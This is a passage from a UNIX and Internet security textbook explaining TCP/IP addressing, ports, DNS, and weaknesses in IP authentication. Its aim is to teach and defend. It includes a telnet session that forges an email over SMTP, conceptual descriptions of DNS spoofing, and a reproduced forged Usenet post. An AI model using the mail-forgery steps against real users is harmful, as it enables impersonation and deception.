Nevertheless, from the point of view of any computer on the Internet, routing is transparent, regardless of whether packets are being sent across the room or across the world. The only information that you need to know to make a connection to another computer on the Internet is the computer's 32-bit IP address - you do not need to know the route to the host, or on what type of network the host resides. You do not even need to know if the host is connected by a high-speed local area network, or if it is at the other end of a modem-based SLIP connection. All you need to know is its address, and your packets are on their way.

Of course, if you are the site administrator and you are configuring the routing on your system, you do need to be concerned with a little more than the IP number of a destination machine. You must know at least the addresses of gateways out of your network so you can configure your routing tables. We'll assume you know how to do that,[7] but we will point out that if your routes are fairly stable and simple, you would be safer by statically setting the routes rather than allowing them to be set dynamically with a mechanism such as the routed daemon.

[7] If not, you should consult your vendor manual, or one of the references in Appendix D, Paper Sources.

16.2.3 Hostnames

A hostname is the name of a computer on the Internet. Hostnames make life easier for users: they are easier to remember than IP addresses. You can change a computer's IP address but keep its hostname the same. If you think of an IP address as a computer's phone number, think of its hostname as the name under which it is listed in the telephone book. Some hosts can also have more than one address on more than one network. Rather than needing to remember each one, you can remember a single hostname and let the underlying network mechanisms pick the most appropriate addresses to use.

Let us repeat that: a single hostname can have more than one IP address, and a single IP address can be associated with more than one hostname. Both of these facts have profound implications for people who are attempting to write secure network programs.

Hostnames must begin with a letter or number and may contain letters, numbers, and a few symbols, such as the dash (-). Case is ignored. A sample hostname is arthur.cs.purdue.edu. For more information on host names, see RFC 1122 and RFC 1123.

Each hostname has two parts: the computer's machine name and its domain. The computer's machine name is the name to the left of the first period; the domain name is everything to the right of the first period. In our example above, the machine name is arthur and the domain is cs.purdue.edu. The domain name may represent further hierarchical domains if there is a period in the name. For instance, cs.purdue.edu represents the Computer Sciences department domain, which is part of the Purdue University domain, which is, in turn, part of the Educational Institutions domain.

Here are some other examples:

whitehouse.gov next.cambridge.ma.us jade.tufts.edu

If you specify a machine name, but do not specify a domain, then your computer might append a default domain when it tries to resolve the name's IP address. Alternatively, your computer might simply return an "unknown host" error message.

16.2.3.1 The /etc/hosts file

Early UNIX systems used a single file called /etc/hosts to keep track of the network address for each host on the Internet. Many systems still use this file today to keep track of the IP addresses of computers on the organization's LAN.

A sample /etc/hosts file for a small organization might look like this:

# /etc/hosts
#
192.42.0.1 server
192.42.0.2 art
192.42.0.3 science sci
192.42.0.4 engineering eng

In this example, the computer called server has the network address 192.42.0.1. The computer called engineering has the address 192.42.0.4. The hostname sci following the computer called science means that sci can be used as a second name, or alias, for that computer.

In the early 1980s, the number of hosts on the Internet started to jump from thousands to tens of thousands and more. Maintaining a single file of host names and addresses soon proved to be impossible. Instead, the Internet adopted a distributed system for hostname resolution known as the Domain Name System (DNS). For more information, see the "Name Service" section later in this chapter.

16.2.4 Packets and Protocols

Today there are four main kinds of IP packets that are sent on the Internet that will be seen by typical hosts. Each is associated with a particular protocol:[8]

[8] There may be some special routing or maintenance protocols in use on the Internet backbone or other major network trunks. However, we won't discuss them here as you are unlikely to ever encounter them.

ICMP

Internet Control Message Protocol. This protocol is used for low-level operation of the IP protocol. There are several subtypes, for example, for the exchange of routing and traffic information.

TCP

Transmission Control Protocol. This protocol is used to create a two-way stream connection between two computers. It is a "connected" protocol, and includes time-outs and retransmission to ensure reliable delivery of information.

UDP

User Datagram Protocol.[9] This protocol is used to send packets from host to host. The protocol is "connectionless" and makes a best-effort attempt at delivery.

[9] UDP does not stand for Unreliable Datagram Protocol, even though the protocol is technically unreliable because it does not guarantee that information sent will be delivered. We use the term best-effortbecause the underlying network infrastructure is expected to make its best effort to get the packets to their destination. In fact, most UDP packets reach their destination under normal operating circumstances.

IGMP

Internet Group Management Protocol. This protocol is used to control multicasting - the process of purposely directing a packet to more than one host. Multicasting is the basis of the Internet's multimedia backbone, the MBONE. (Currently, IGMP is not used inside the MBONE, but is used on the edge.)

16.2.4.1 ICMP

The Internet Control Message Protocol is used to send messages between gateways and hosts regarding the low-level operation of the Internet. For example, ICMP Echo packets are commonly used to test for network connectivity; the response is usually either an ICMP Echo Reply or an ICMP Destination Unreachable message type. ICMP packets are identified by an 8-bit TYPE field (see Table 16.1):

Table 16.1: ICMP Packet Types
TYPE Field | ICMP Message Type
0 | Echo Reply (used by ping)
3 | Destination Unreachable
4 | Source Quench
5 | Redirect (change a route)
8 | Echo Request (used by ping)
9 | Router Advertisement
10 | Router Solicitation
11 | Time Exceeded for a Datagram
12 | Parameter Problem on a Datagram
13 | Timestamp Request
14 | Timestamp Reply
15 | Information Request (obsolete)
16 | Information Reply (obsolete)
17 | Address-Mask Request
18 | Address-Mask Reply

Although we have included all types for completeness, the most important types for our purposes are types 3, 4, and 5. An attacker can craft ICMP packets with these fields to redirect your network traffic away, or to perform a denial of service. If you use a firewall (discussed in Chapter 21, Firewalls), you will want to be sure that these types are blocked or monitored.

16.2.4.2 TCP

TCP provides a reliable, ordered, two-way transmission stream between two programs that are running on the same or different computers. "Reliable" means that every byte transmitted is guaranteed to reach its destination (or you are notified that the transmission failed), and that each byte arrives in the order in which it is sent. Of course, if the connection is physically broken, bytes that have not yet been transmitted will not reach their destination unless an alternate route can be found. In such an event, the computer's TCP implementation will send an error message to the process that is trying to send or receive characters, rather than give the impression that the link is still operational.

Each TCP connection is attached at each end to a port. Ports are identified by 16-bit numbers. Indeed, at any instant, every connection on the Internet can be identified by a set of two 32-bit numbers and two 16-bit numbers:

  • Host address of the connection's originator

  • Port number of the connection's originator

  • Host address of the connection's target

  • Port number of the connection's target

For example, Figure 16.5 shows three people on three separate workstations logged into a server using the rlogin program. Each process's TCP connection starts on a different host and at a different originating port number, but each connection terminates on the same host (the server) and the same port (513).

Figure 16.5: A few Internet connections with port numbers

The idea that the workstations are all connecting to port number 513 can be confusing. Nevertheless, these are all distinct connections, because each one is coming from a different originating host-port pair, and the server moves each connection to a separate, higher-numbered port.

The TCP protocol uses two special bits in the packet header, SYN and ACK, to negotiate the creation of new connections. To open a TCP connection, the requesting host sends a packet that has the SYN bit set but does not have the ACK bit set. The receiving host acknowledges the request by sending back a packet that has both the SYN and the ACK bits set. Finally, the originating host sends a third packet, again with the ACK bit set, but this time with the SYN bit unset. This process is called the TCP " three-way handshake," and is shown in Figure 16.6. By looking for packets that have the ACK bit unset, one can distinguish packets requesting new connections from those which are being sent in response to connections that have already been created. This distinction is useful when constructing packet filtering firewalls, as we shall see in Chapter 21.

Figure 16.6: The TCP/IP "three-way handshake"

TCP is used for most Internet services which require the sustained synchronous transmission of a stream of data in one or two directions. For example, TCP is used for remote terminal service, file transfer, and electronic mail. TCP is also used for sending commands to displays using the X Window System.

Table 16.2 identifies some TCP services commonly enabled on UNIX machines. These services and port numbers are usually found in the /etc/services file.[10] (Note that non-UNIX hosts can run most of these services; the protocols are usually specified independent of any particular implementation.)

[10] A more extensive list of TCP and UDP ports and services may be found in Appendix G, Table of IP Services.

Table 16.2: Some Common TCP Services and Ports
TCP Port | Service Name | Function
7 | echo | Echoes characters (for testing)
9 | discard | Discards characters (for testing)
13 | daytime | Time of day
19 | chargen | Character generator
21 | ftp | File Transfer Protocol (FTP)
23 | telnet | Virtual terminal
25 | smtp | Electronic mail
37 | time | Time of day
42 | nameserver | TCP nameservice
43 | whois | NIC whois service
53 | domain | Domain Name Service (DNS)
79 | finger | User information
80 | http | World Wide Web (WWW)
109 | pop2 | Post Office Protocol (POP)
110 | pop3 | Post Office Protocol (POP)
111 | sunrpc | Sun Microsystem's Remote Procedure Call (RPC)
113 | auth | Authentication Service
119 | nntp | Network News Transfer Protocol (NNTP) (Usenet)
178 | nsws | NeXTSTEP Window Server
512 | exec | Executes commands on a remote UNIX host
513 | login | Logs in to a remote UNIX host
514 | shell | Retrieves a shell on a remote UNIX host
515 | printer | Remote printing
540 | uucp | Runs UUCP over TCP/IP (primarily used for transporting netnews)
2049 | NFS | NFS over TCP
6000+ | X | X Window System

16.2.4.3 UDP

The User Datagram Protocol provides a simple, unreliable system for sending packets of data between two or more programs running on the same or different computers. "Unreliable" means that the operating system does not guarantee that every packet sent will be delivered, or that packets will be delivered in order. UDP does make its best effort to deliver the packets, however. On a LAN, UDP often approaches 100% reliability.

UDP's advantage is that it has less overhead than TCP - less overhead lets UDP-based services transmit information with as much as 10 times the throughput. UDP is used primarily for Sun's Network Filesystem, for NIS, for resolving hostnames, and for transmitting routing information. It is also used for services that aren't affected negatively if they miss an occasional packet because they will get another periodic update later, or because the information isn't really that important. This includes services such as rwho, talk, and some time services.

UDP packets are often broadcast to a given port on every host that resides on the same local area network. Broadcast packets are used frequently for services such as time of day.

As with TCP, UDP packets are also sent from a porton the sending host to another port on the receiving host. Each UDP packet also contains user data. If a program is listening to the particular port and is ready for the packet, it will be received. Otherwise, the packet will be ignored.

Ports are identified by 16-bit numbers. Table 0-71 lists some common UDP ports.

Table 16.3: Some Common UDP Services and Ports
UDP Port | Service Name | Function
7 | echo | Returns the user's data in another datagram
9 | discard | Does nothing
13 | daytime | Returns time of day
19 | chargen | Character Generator
37 | time | Returns time of day
53 | domain | Domain Name Service (DNS)
69 | tftp | Trivial File Transfer Protocol (TFTP)
111 | sunrpc | Sun Microsystem's Remote Procedure Call (RPC) portmapper
123 | ntp | Network Time Protocol (NTP)
161 | snmp | Simple Network Management Protocol (SNMP)
512 | biff | Alerts you to incoming mail (Biff was the name of a dog who barked when the mailman came)
513 | who | Returns who is logged into the system
514 | syslog | System logging facility
517 | talk | Initiates a talk request
518 | ntalk | The "new" talk request
520 | route | Routing Information Protocol (RIP)
533 | netwall | Write on every user's terminal
2049 | NFS (usually) | Network Filesystem (NFS)

16.2.5 Clients and Servers

The Internet Protocol is based on the client/server model. Programs called clients initiate connections over the network to other programs called servers, which wait for the connections to be made. One example of a client/server pair is the network time system. The client program is the program that asks the network server for the time. The server program is the program that listens for these requests and transmits the correct time. In UNIX parlance, server programs that run in the background and wait for user requests are often known as daemons.

Clients and servers are normally different programs. For example, if you wish to log onto another machine, you can use the telnet program:

% telnet athens.com
Trying...
Connected to ATHENS.COM
Escape character is '^]'.

4.4 BSD Unix (ATHENS.COM)

login:

When you type telnet, the client telnet program on your computer (usually the program /usr/bin/telnet, or possibly /usr/ucb/telnet) connects to the telnet server (in this case, named /usr/etc/in.telnetd) running on the computer athens.com. As stated, clients and servers normally reside in different programs. One exception to this rule is the sendmail program, which includes the code for both the server and a client, bundled together in a single application.

The telnet program can also be used to connect to any other TCP port that has a process listening. For instance, you might connect to port 25 (the SMTP port) to fake some mail without going through the normal mailer:

% telnet control.mil 25
Trying 45.1.12.2 ...
Connected to hq.control.mil.
Escape character is '^]'.
220-hq.control.mil Sendmail 8.6.10 ready at Tue, 17 Oct 1995 20:00:09 -0500
220 ESMTP spoken here
HELO kaos.org
250 hq.control.mil Hello kaos.org, pleased to meet you
MAIL FROM:<agent86@control.gov>
250 <agent86>... Sender ok
RCPT TO:<agent99@control.mil>
550 <agent99>... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
To: agent99
From: Max <agent86>
Subject: tonight

99,
I know I was supposed to take you out to dinner tonight, but I have
been captured by KAOS agents, and they won't let me out until they
finish torturing me. I hope you understand.
Love, Max
.
250 UAA01441 Message accepted for delivery
quit
221 hq.control.mil closing connection
Connection closed by foreign host.
%

16.2.6 Name Service

As we mentioned, in the early days of the Internet, a single /etc/hosts file contained the address and name of each computer on the Internet. But as the file grew to contain thousands of lines, and as changes to the list of names (or the namespace) started being made on a daily basis, a single /etc/hosts file soon became impossible to maintain. Instead, the Internet developed a distributed networked-based naming service called the Domain Name Service (DNS).

DNS implements a large-scale distributed database for translating hostnames into IP addresses and vice-versa, and performing related name functions. The software performs this function by using the network to resolve each part of the hostname distinctly. For example, if a computer is trying to resolve the name girigiri.gbrmpa.gov.au, it would first get the address of the root domain server (usually stored in a file) and ask that machine for the address of the au domain server. The computer would then ask the au domain server for the address of the gov.au domain server, and then would ask that machine for the address of the gbrmpa.gov.au domain server. Finally, the computer would then ask the gbrmpa.gov.au domain server the address for the computer called girigiri.gbrmpa.gov.au. (Name resolution is shown in Figure 16.7.) A variety of caching techniques are employed to minimize overall network traffic.

Figure 16.7: The DNS tree hierarchy for name resolution

DNS is based on UDP, but can also use a TCP connection for some operations.

16.2.6.1 DNS under UNIX

The standard UNIX implementation of DNS is called bind and was originally written at the University of California at Berkeley. This implementation is based on three parts: a library for the client side, and two programs for the server:

Resolver

The resolver library uses DNS to implement the gethostbyname() and gethost-byaddress() library calls. It is linked into any program that needs to perform name resolution using DNS. The first time that a program linked with the resolver attempts to resolve a hostname, the library reads the /etc/resolv.conf file to determine the IP address of the nameserver to be used for name resolution. The resolv.conf file can also contain the program's default domain, which is used to resolve unqualified hostnames (such as girigiri, as opposed to girigiri.gbrmpa.gov.au).

named (or in.named)

The named daemon is the program which implements the server side of the DNS system. When named is started, it reads a boot file (usually /etc/named.boot) that directs the program to the location of its auxiliary files. These files then initialize the named daemon with the location of the root domain servers. If the named daemon is the nameserver for a domain or a subdomain (which is usually the case), the configuration file instructs the program to read in the domain's host tables or get them from a "master" server.

named-xfer

Program used to transfer zones from primary to secondary servers. This program is usually installed as /etc/named-xfer. It is run by the secondary server to perform a zone transfer. The named-xfer program connects to the named program running on the primary server and performs the transfer using TCP.

More details about DNS and the BIND name server may be found in the O'Reilly & Associates book DNS and BIND by Paul Albitz and Cricket Liu.

16.2.6.2 Other naming services

In addition to DNS, there are at least four vendor-specific systems for providing nameservice and other information to networked workstations. They are:

NIS (Sun Microsystems)

Originally called "Yellow Pages," Sun's Network Information System (NIS) creates a simple mechanism whereby files such as /etc/passwd and /etc/hosts from one computer can be shared by another. Although NIS has numerous security problems, it is widely used. [11]

[11] We describe NIS and NIS+ in more detail in Chapter 19, RPC, NIS, NIS+, and Kerberos.

NIS+ (Sun Microsystems)

NIS+ is a total rewrite of NIS, and it dramatically increases both security and flexibility. Nevertheless, NIS+ is not used as widely as NIS.

NetInfo (NeXT, Inc.)

NetInfo is a distributed database similar to NIS+. NetInfo is tightly integrated in NeXT's NEXTSTEP operating system and is available for other operating systems from a third party.

DCE (Open Software Foundation)

OSF's Distributed Computing Environment offers yet another system for distributing a database of information, such as usernames and hosts addresses, to networked workstations.

All of these systems are designed to distribute a variety of administrative information throughout a network. All of these systems must also use DNS to resolve hostnames outside the local organization.

Previous: 16.1 Networking | Practical UNIX & Internet Security | Next: 16.3 IP Security
16.1 Networking | Book Index | 16.3 IP Security


[Chapter 16] 16.3 IP Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 16.2 IPv4: The Internet Protocol Version 4 Chapter 16
TCP/IP Networks 		Next: 16.4 Other Network Protocols

16.3 IP Security

Throughout the 1980s, computers on the Internet were subject to many individual attacks. The solution to these attacks was relatively simple: encourage users to choose good passwords, prevent users from sharing accounts with each other, and eliminate security holes in programs such as sendmail and login as holes were discovered.

In the 1990s, the actual infrastructure of the Internet has come under attack:

  • Network sniffers have captured passwords and other sensitive pieces of information passing through the network as they are transmitted.

  • IP spoofing attacks have been used by attackers to break into hosts on the Internet.

  • Connection hijacking has been used by attackers to seize control of existing interactive sessions (e.g., telnet).

  • Data spoofing has been used by attackers of a rogue computer on a network to insert data into an ongoing communication between two other hosts. Data spoofing has been demonstrated as an effective means of compromising the integrity of programs executed over the network from NFS servers.

Many of these attacks were anticipated more than ten years ago. Yet the IP protocols and the Internet itself are not well protected against them. There are several reasons for this apparent failure:

  • IP was designed for use in a hostile environment, but its designers did not thoroughly appreciate how hostile the network itself might one day become.

    IP was designed to allow computers to continue communicating after some communications lines had been cut. The concept is the genesis of packet communications: by using packets, you can route communications around points of failure. But the IP designers appear to have not anticipated wide-scale covert attacks from legitimate users. As a result, while IP is quite resilient when subjected to hardware failure, it is less resistant to purposeful attack.

  • IP was not designed to provide security.

    IP was designed to transmit packets from one computer to another. It was not designed to provide a system for authenticating hosts, or for allowing users to send communications on the network in absolute secrecy. For these purposes, IP's creators assumed that other techniques would be used.

  • IP is an evolving protocol.

    IP is always improving. Future versions of IP may provide greater degrees of network security. However, IP is still, in many senses, an experimental protocol. It is being employed for uses for which it was never designed.

16.3.1 Link-level Security

IP is designed to get packets from one computer to another computer; the protocol makes no promise as to whether or not other computers on the same network will be able to intercept and read those packets in real time. Such interception is called eavesdropping or packet sniffing.

Different ways of transmitting packets have different susceptibility to eavesdropping. The following table lists several different ways of sending packets and notes the eavesdropping potential.

Table 16.4: Eavesdropping Potential for Different Data Links
Data link | Potential for Eavesdropping | Comments
Ethernet | High | Ethernet is a broadcast network. Most incidents of packet sniffing that have plagued the Internet have been the result of packet-sniffing programs running on a computer that shares an Ethernet with a gateway or router.
FDDI Token-ring | High | Although ring networks are not inherently broadcast, in practice all packets that are transmitted on the ring pass through, on average, one-half of the interfaces that are on the network. High data rates make sniffing somewhat challenging.
Telephone lines | Medium | Telephones can be wiretapped by someone who has the cooperation of the telephone company or who has physical access to telephone lines. Calls that traverse microwave links can also be intercepted. In practice, high-speed modems are more difficult to wiretap than low-speed modems because of the many frequencies involved.
IP over cable TV | High | Most systems that have been developed for sending IP over cable TV rely on RF modems which use one TV channel as an uplink and another TV channel for a downlink. Both packet streams are unencrypted and can be intercepted by anyone who has physical access to the TV cable.
Microwave and radio | High | Radio is inherently a broadcast medium. Anyone with a radio receiver can intercept your transmissions.

The only way to protect against eavesdropping in these networks is by using encryption. There are several methods:

Link-level encryption

With link-level encryption, packets are automatically encrypted when they are transmitted over an unsecure data link and decrypted when they are received. Eavesdropping is defeated because an eavesdropper does not know how to decrypt packets that are intercepted. Link-level encryption is available on many radio networking products, but is harder to find for other broadcast network technologies such as Ethernet or FDDI. Special link encryptors are available for modems and leased-line links.

End-to-end encryption

With end-to-end encryption, the host transmitting the packet encrypts the packet's data; the packet's contents are automatically decrypted when they are received at the other end. Some organizations that have more than one physical location use encrypting routers for connecting to the Internet. These routers automatically encrypt packets that are being sent from one corporate location to the other, to prevent eavesdropping by attackers on the Internet; however, the routers do not encrypt packets that are being sent from the organization to third-party sites on the network.

Application-level encryption

Instead of relying on hardware to encrypt data, encryption can be done at the application layer. For example, the Kerberos version of the telnet command can automatically encrypt the contents of the telnet data stream in both directions.

These three encryption techniques are shown in Figure 16.8.

Figure 16.8: Three types of encryption for communication

16.3.2 Security and Nameservice

DNS was not designed to be a secure protocol. The protocol contains no means by which the information returned by a DNS query can be verified as correct or incorrect. Thus, if DNS tells you that a particular host has a particular IP address, there is no way that you can be certain if the information returned is correct.

DNS was designed as an unsecure protocol because IP addresses and hostnames were designed as a system for moving data, and not as a system for providing authentication.

Unfortunately, hostnames and IP addresses are commonly used for authentication on the Internet. The Berkeley UNIX r commands ( rsh and rlogin) use the hostname for authentication. Many programs examine the IP address of an incoming TCP connection, perform a reverse lookup DNS operation, and trust that the resulting hostname is correct. More sophisticated programs perform a double reverse lookup, in which the network client performs an IP address lookup with the resulting hostname, to see if the looked-up IP address matches the IP address of the incoming TCP connection.[12]

[12] A double reverse lookup involves looking up the hostname that corresponds to an incoming IP connection, then doing a lookup on that hostname to verify that it has the same IP address. This process is non-trivial, as Internet computers can have more than one IP address, and IP addresses can resolve to more than one Internet hostname. Although the double reverse lookup is designed to detect primitive nameserver attacks, all that it usually detects is sites that have not properly configured their nameserver files.

An attacker has more trouble spoofing a double reverse lookup, but the possibility still exists. Some of these attacks are:

Client flooding

As DNS uses UDP, an attacker can easily flood the host, making a nameserver request with thousands of invalid responses. These can be constructed so as to appear to come from the DNS server. The client performing a DNS lookup will most likely accept the attacker's response, rather than the legitimate response from the authentic nameserver.

Bogus nameserver cache loading

Some nameservers will cache any response that they receive, whether it was requested or not. You can load these nameservers with incorrect IP address translations as part of a response to some other request.

Rogue DNS servers

The fact that someone runs a nameserver on his or her machine doesn't mean you can trust the results. By appropriately modifying the responses of a nameserver for one domain to respond to requests with inappropriate information, the maintainer of a real DNS server can taint the responses to clients.

Firewalls (described in Chapter 21) can provide some (small) degree of protection against a few DNS attacks. Nevertheless, the real safety relies on not using IP addresses or hostnames for authentication.

16.3.3 Authentication

Most IP services do not provide a strong system for positive authentication. As a result, an attacker (or a prankster) can transmit information and claim that it comes from another source.

The lack of positive authentication presents problems especially for services such as DNS (see above), electronic mail, and Usenet. In all of these services, the recipient of a message, be it a machine or a person, is likely to take positive action based on the content of a message, whether or not the message sender is properly authenticated.

One of the best-known cases of a fraudulently published Usenet message appears below. It was not written by Gene Spafford; instead, it was created and posted to the Usenet by Chuq von Rospach.

Path:
purdue!umd5!ames!mailrus!umix!uunet!seismo!sundc!pitstop!sun!moscvax!perdue!spaf
From: spaf@cs.purdue.EDU (Gene Spafford)
Newsgroups: news.announce.important
Subject: Warning: April Fools Time again (forged messages on loose)
Message-ID: <35111-F@medusa.cs.purdue.edu>
Date: 1 Apr 88 00:00:00 GMT
Expires: 1 May 88 00:00:00 GMT
Followup-To: news.admin
Organization: Dept. of Computer Sciences, Purdue Univ.
Lines: 25
Approved: spaf@cs.purdue.EDU

Warning: April 1 is rapidly approaching, and with it comes a USENET
tradition. On April Fools day comes a series of forged, tongue-in-cheek
messages, either from non-existent sites or using the name of a Well
Known USENET person. In general, these messages are harmless and meant
as a joke,and people who respond to these messages without thinking,
either by flaming or otherwise responding, generally end up looking
rather silly when the forgery is exposed.

So, for the next couple of weeks, if you see a message that seems
completely out of line or is otherwise unusual, think twice before
posting a followup or responding to it; it's very likely a forgery.

There are a few ways of checking to see if a message is a forgery.
These aren't foolproof, but since most forgery posters want people to
figure it out, they will allow you to track down the vast majority of
forgeries:

* Russian computers. For historic reasons most forged messages
have as part of their Path: a non-existent (we think!) russian
computer, either kremvax or moscvax. Other possibilities are nsacyber
or wobegon. Please note, however, that walldrug is a real site and
isn't a forgery.

* Posted dates. Almost invariably, the date of the posting is forged
to be April 1.

* Funky Message-ID. Subtle hints are often lodged into the
Message-Id, as that field is more or less an unparsed text string and
can contain random information. Common values include pi, the phone
number of the red phone in the white house, and the name of the
forger's parrot.

* Subtle mispellings. Look for subtle misspellings of the host names
in the Path: field when a message is forged in the name of a Big Name
USENET person. This is done so that the person being forged actually
gets a chance to see the message and wonder when he actually posted it.

Forged messages, of course, are not to be condoned. But they happen,
and it's important for people on the net not to over-react. They happen at this time every year, and the forger
generally gets their kick from watching the novice users take the
posting seriously and try to flame their tails off. If we can keep a
level head and not react to these postings, they'll taper off rather
quickly and we can return to the normal state of affairs: chaos.

Thanks for your support.

Gene Spafford, Spokeman, The Backbone Cabal.

The April 1 post is funny, because it contains all of the signs of a forged message that it claims to warn the reader about. But other forged messages are not quite so friendly. Beware!

Previous: 16.2 IPv4: The Internet Protocol Version 4 | Practical UNIX & Internet Security | Next: 16.4 Other Network Protocols
16.2 IPv4: The Internet Protocol Version 4 | Book Index | 16.4 Other Network Protocols


[Chapter 16] 16.4 Other Network Protocols

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 16.3 IP Security Chapter 16
TCP/IP Networks 		Next: 16.5 Summary

16.4 Other Network Protocols

There are several other network protocols that may be involved in a network environment. We'll mention them here, but we won't go into detail about them as they are not as common in UNIX environments as IP networks are. If you are curious about these other network protocols, we suggest that you consult a good book on networks and protocols; several are listed in Appendix D. Several of these protocols can share the same physical network as an IP-based network, thus allowing more economical use of existing facilities, but they also make traffic more available to eavesdroppers and saboteurs.

16.4.1 IPX

Novell Netware networks use a proprietary protocol known as Internet Packet eXchange protocol (IPX). It does not scale well to large networks such as the Internet, although RFC1234 describes a system for connecting IPX networks together using IP networks and a technique known as tunneling.

IPX is commonly found in PC-based networks. Some UNIX vendors support IPX-based services and connections with their products.

16.4.2 SNA

The System Network Architecture (SNA) is an old protocol used by IBM to link mainframes together. It is seldom found elsewhere. These days, IBM machines are in the process of transitioning to IP or IPX. We expect that SNA will be extinct before too long.

16.4.3 DECnet

The DECnet protocol was developed at Digital Equipment Corporation to link together machines and is based on Digital's proprietary operating systems. DECnet provides many of the same basic functions as IP, including mail, virtual terminals, file sharing, and network time. During its heyday, many third parties also built peripherals to support DECnet. Many large DECnet networks have been built, but the trend within Digital has been to migrate to open standards such as IP.

16.4.4 OSI

The Open System Interconnection (OSI) protocols, developed by the International Standards Organization (ISO), are an incredibly complex and complete set of protocols for every kind of network implementation. OSI was developed after TCP/IP, and supports many of the same kinds of services.

OSI is a classic example of what happens when a committee is asked to develop a complex specification without the benefit of first developing working code. Although many organizations have stated that they intend to switch from IP to OSI standards, this has not happened except for a few high-level services, such as X.500 directory service and cryptographic certificates. On matters such as data transmission, the OSI standards have in general proven to be too cumbersome and complex to fully implement efficiently.

We are clearly not big fans of OSI, but if you are interested in pursuing all the gory details, an excellent book on the topic (which will give you a fairer treatment of OSI than we do here) is The Open Book: A Practical Perspective on OSI by Marshall T. Rose (Prentice Hall, 1990).

16.4.5 XNS

The Xerox Network Systems (XNS) protocol family was developed by Xerox. These were supported by a few other computer manufacturers, but few people use them now. Development inside Xerox has largely switched over to IP as well.

Previous: 16.3 IP Security | Practical UNIX & Internet Security | Next: 16.5 Summary
16.3 IP Security | Book Index | 16.5 Summary


[Chapter 16] 16.5 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 16.4 Other Network Protocols Chapter 16
TCP/IP Networks 		Next: 17. TCP/IP Services

16.5 Summary

Connecting to a network opens a whole new set of security considerations above and beyond those of protecting accounts and files. Various forms of network protocols, servers, clients, routers, and other network components complicate the picture. To be safely connected requires an understanding of how these components are configured and interact.

Connections to networks with potentially unfriendly users should be done with a firewall in place. Connections to a local area network that involves only your company or university may not require a firewall, but still require proper configuration and monitoring.

In later chapters we will discuss some of these other considerations. We cannot provide truly comprehensive coverage of all the related issues, however, so we encourage you pursue the references listed in Appendix D.

Previous: 16.4 Other Network Protocols | Practical UNIX & Internet Security | Next: 17. TCP/IP Services
16.4 Other Network Protocols | Book Index | 17. TCP/IP Services


[Chapter 17] TCP/IP Services

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 16.5 Summary Chapter 17 Next: 17.2 Controlling Access to Servers

17. TCP/IP Services

Contents:
Understanding UNIX Internet Servers
Controlling Access to Servers
Primary UNIX Network Services
Security Implications of Network Services
Monitoring Your Network with netstat
Network Scanning
Summary

Connecting a UNIX computer to the Internet is not an action that should be taken lightly. Although the TCP/IP protocol suite and the UNIX operating system themselves have few inherent security problems, many of the problems that do exist have a strange way of showing themselves when computers running the UNIX operating system are put on the global network.

The reason for caution has a lot to do with the flexibility of both UNIX and the Internet. A network connection gives users on the network dozens of different ways to form connections with your computer: they can send it mail, they can access a WWW server, and they can look up the names and addresses of your users. Unfortunately, each of these services can contain potential security holes, both as the result of bugs, and because of fundamental shortcomings in the services themselves.

Over the years many security problems have been discovered in network services, and workable solutions have been found. Unfortunately, some UNIX vendors have been slow to incorporate these security-related fixes into their standard offerings. If you are the system manager of any UNIX computer that is connected to a network, you must therefore be aware of the security failings of your own computer, and take appropriate measures to counteract them. To do so, you first need to understand how the UNIX operating system works with the Internet.

This chapter is not a definitive description of the TCP/IP services offered by UNIX. Instead, it presents a brief introduction to the various services, and describes security-related concerns of each. For a more definitive discussion, we recommend the following books:

  • Building Internet Firewalls, by D. Brent Chapman and Elizabeth D. Zwicky (O'Reilly & Associates, 1995).

  • Managing Internet Information Services,by Cricket Liu, Jerry Peek, Russ Jones, Bryan Buus, and Adrian Nye (O'Reilly & Associates, 1994).

  • DNS and BIND, by Paul Albitz and Cricket Liu (O'Reilly & Associates, 1992).

  • sendmail, by Bryan Costales, with Eric Allman and Neil Rickert (O'Reilly & Associates, 1993).

  • UNIX Network Programming, by W. Richard Stevens (Prentice Hall, 1990).

17.1 Understanding UNIX Internet Servers

Most UNIX network services are provided by individual programs called servers. For a server to operate, it must be assigned a protocol (TCP or UDP), be assigned a port number, and be started when the system boots or as needed, as we'll describe in "Starting the Servers" below.

17.1.1 The /etc/services File

The /etc/services file is a relational database file. Each line of the /etc/services file consists of a service name, a network port number, a protocol name, and a list of aliases. A rather extensive list of Internet services, including their uses on UNIX systems, their security implications, and our recommendations as to whether or not you should run them, appears in Appendix G, Table of IP Services.

The /etc/services file is referenced by both Internet client programs and servers. The information in the /etc/services file comes from Internet RFCs[1] and other sources. Some of the services listed in the /etc/services file are no longer in widespread use; nevertheless, their names still appear in the file to prevent the accidental reassignment of their ports in the event that the services are still used somewhere on the global network.

[1] RFC stands for Request For Comment. The RFCs describe many of the actual standards, proposed standards, and operational characteristics of the Internet. There are many online sources for obtaining the RFCs.

The following is an excerpt from the /etc/services file that specifies the Telnet, SMTP, and Network Time Protocol (NTP) services:

# /etc/services
#
telnet 23 /tcp
smtp   25 /tcp mail
time   37 /udp timeserver
...

UNIX servers should determine their port numbers by looking up each port in the /etc/services file using the UNIX system call getservicebyname(). The /etc/services file can be supplemented or replaced by distributed database systems such as NIS, NIS+, Netinfo, or DCE Most of these systems patch the system's getservicebyname() system call, so that they are transparent to the application.

Trusted Ports

Ports in the range 0 to 1023 are sometimes referred to as trusted ports. On UNIX, these ports are restricted to the superuser; a program must be running as root to listen to a trusted port or to originate a connection from any of these port numbers. (Note that any user can connect to a trusted port.)

The concept of trusted ports is intended to prevent a regular user from obtaining privileged information. For example, if a regular user could write a program that listened to port 23, that program could masquerade as a Telnet server, receiving connections from unsuspecting users, and obtain their passwords.

This idea of trusted ports is a UNIX convention. It is not part of the Internet standard, and manufacturers are not bound to observe this protocol. It is simply the way that the designers of UNIX network services decided to approach the problem.

Thus, trusted ports are not very trustworthy. Using a non-UNIX machine, such as an IBM PC with an Ethernet board in place, it is possible to spoof UNIX network software by sending packets from, or listening to, low-numbered trusted ports.

Some programmers bypass this system call and simply hard-code the service number into their programs. Thus, if you make a change to a program's port number in the /etc/services file, the server may or may not change the port to which it is listening. This can result in significant problems if a change is necessary, although well-known services seldom change their ports.

17.1.2 Starting the Servers

